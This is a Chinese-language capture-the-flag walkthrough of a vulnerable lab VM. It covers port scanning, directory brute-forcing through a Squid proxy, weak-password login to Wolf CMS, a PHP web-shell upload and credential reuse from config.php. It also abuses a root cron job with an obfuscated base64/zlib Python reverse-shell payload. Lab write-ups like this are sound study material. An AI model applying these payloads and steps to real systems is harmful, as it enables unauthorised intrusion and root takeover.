靶机环境

macOS: 172.20.10.2

ubuntu:172.20.10.3

环境搭建

使用utm虚拟机进行搭建

最开始会报错“switched to clocksource tsc“,多次尝试修改运行内存为1g+强制多核运行后解决!

image-20230926195106828

然后发现没有这台机器的ip,经过一番折腾,参照下面这两个博主的blog可以解决

https://blog.csdn.net/qq_51524329/article/details/121808404

https://blog.csdn.net/qq_51283187/article/details/119849021

image-20230926201943940

成功得到ip 172.20.10.2

信息搜集

开局就遇到问题,不加sudo的情况下执行nmap命令,查不到主机端口开放情况,一度以为是自己机器出问题了,直接ping也无法ping目标机器

image-20230926205405528

1
sudo nmap --min-rate 10000 -p- 172.20.10.2

image-20230926205227276

image-20230926205250090

开放端口22,3128,8080,但8080显示是关闭状态

1
2
3
4
5
22端口:ssh

3128端口:squid 不认识百度一下

8080端口:关闭状态

查询后了解到squid是用于进行配置代理的。

image-20231011213742445

该扫描结果也可以大致了解到squid是用于代理的

1
sudo nmap -sC -O -sV -p22,3128,8080 172.20.10.2

image-20230926211135356

直接访问172.20.10.2的界面没有什么信息

那么试试先设置浏览器代理

image-20231011213917982

访问目标ip尝试,有界面产生。

image-20231011213949580

尝试爆破目录,忘了参数,看一下

image-20231011214226891

1
dirsearch -u http://172.20.10.2 --proxy=172.20.10.2:3128

image-20231011214325815

显示有一个/connect目录和robots文件,分别看看

image-20231011214412576

/connect文件这里注意一下!文件内容大致意思为

1
尝试有规律的连接一个事物,你也许想要试试我的服务器

目前没有思路后续可能有用,robots.txt显示有一个wolfcms

image-20231011214427341

拼接看一看

image-20231011214604380

找了一下功能点,没有找到可以下手的地方,手动试了试路径,没有拼出来,再用工具爆一下

1
dirsearch -u http://172.20.10.2/wolfcms/ --proxy=172.20.10.2:3128

image-20231011215830048

image-20231011215856019

20B大小的都是空白界面,看看大点的文件或者路径

image-20231011220523176

查看后发现如下文件中存在一定信息可以利用

1
install.txt

image-20231011220252940

其中提到了/install路径,config.php、security.php文件,尝试访问均发现已经被删除

(注意其中规定/install文件一般情况下不要直接访问,可能导致重装网站)

1
README.md

image-20231011220034600

README.md文件中提到了cms版本号:v0.8.2,可以尝试搜索cms对应版本存在的nday

https://www.exploit-db.com/exploits/40004

漏洞利用

存在后台文件上传,后台路径为/?/admin/login/,拼接admin路径,弱口令admin进入

image-20231011215640812

1
http://172.20.10.2/wolfcms/?/admin/plugin/file_manager/view/GODphp.php

image-20231011224200718

image-20231011221844669

哥斯拉初始化失败,不知道什么情况诶,代理也配置了的

改用蚁剑试试,配置代理

image-20231011225311681

在主页文件处写入一个一句话🐎

image-20231011224510841

image-20231011225550980

连接成功

看看权限-为普通用户

image-20231011225622034

提权

1
2
3
4
uname -a 显示全部系统信息
cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版
cat /etc/passwd 所有人都可看
ps aux | grep root

image-20231011225935206

思路一

首先当前目录尝试一下sudo提权,发现没有相关权限

image-20231012141758621

查看当前目录下文件

1
ls -la #a参数 列举出隐藏文件

image-20231012140642613

在常用的cms中,肯定会存在前端和后端数据库交互的情况,所以必定会有数据库存在,数据库的配置文件中一般就会包含数据库的登录账号和密码,实际渗透中可以将其记录到字典中方便后续利用。

能看见当前目录下存在config.php文件。

1
cat config.php

image-20231012140722215

存在账户root,密码john@123

1
cat /etc/passwd

image-20231012140955405

查看passwd文件,可以看看主机中存在的账户名,分析哪些账户可能存在/bin/bash

文件的最后一个字段为命令解释。最后的sickos和我们之前查看的unmane结果一致,可以进一步尝试

ssh连接

1
ssh sickos@172.20.10.2   # ssh 账户@ip

image-20231012141859193

成功登录

image-20231012141945573

再次尝试sudo提权,输入密码即可,为root权限

image-20231012142026594

1
2
3
4
sudo su
cd /root
ls
cat a0216ea4d51874464078c618298b1367.txt

image-20231012142122649

思路二

仔细翻阅/var/www目录下文件,能发现有一个connect.py文件,查看

image-20231012142409884

文件内容和我们之前的connect目录内容一样,根据提示能联想到计划任务

image-20231012142642378

进入etc下面看看计划任务

image-20231012143136494

crontab文件下没有有用的信息

image-20231012143211020

看看其他文件,其余几个都是目录,进入后查看内部文件,好像没有特别的内容

image-20231012143424680

一直查看直到打开cron.d目录,下面有个automate文件,根据文件名auto开头,感觉有戏

image-20231012143550050

查看文件内容

1
2
* * * * * root /usr/bin/python /var/www/connect.py 
#每分钟以root身份 以python程序执行connect.py文件

image-20231012143630887

可以想到,添加反弹shell的python到文件中,通过定时任务进行反弹

image-20231012151157487

将木马内容添加到conncet.py中

1
echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkEELwjAMhf9K6akD6bYieJAehkwQUcHtPlytbDibsnT/33UVe1wu4SVf3oP0HwujIwjqrR0hG0Jwau0ISiMuEuZG9sRXB+gkzXeCi4znGRf0v/ImcjvXf4IyePLQ2E8Vx+Z0LeuQFEbV7XBuqvpeFpcknnMFxmjlGPOxC+9DkogA8udkBUP+6gdtgCULla0S+SohImFlfAhXj2FgNG17k2JHky8b91Yx')[0])))" >> conncet.py

但是写入一直失败,那么就暴力一点直接通过蚁剑来修改

image-20231012151141815

主机进行监听,成功接收到shell,但是不够理想,再利用python生成一个交互性好的shell

image-20231012151355979
1
2
python -c "import pty;pty.spawn('/bin/bash')"
#pty.spawn生成一个进程,并将其控制终端连接到当前进程的标准 io

image-20231012151614407

附加

看到网上的思路中还有shellshock(bashdoor)漏洞的攻击手法。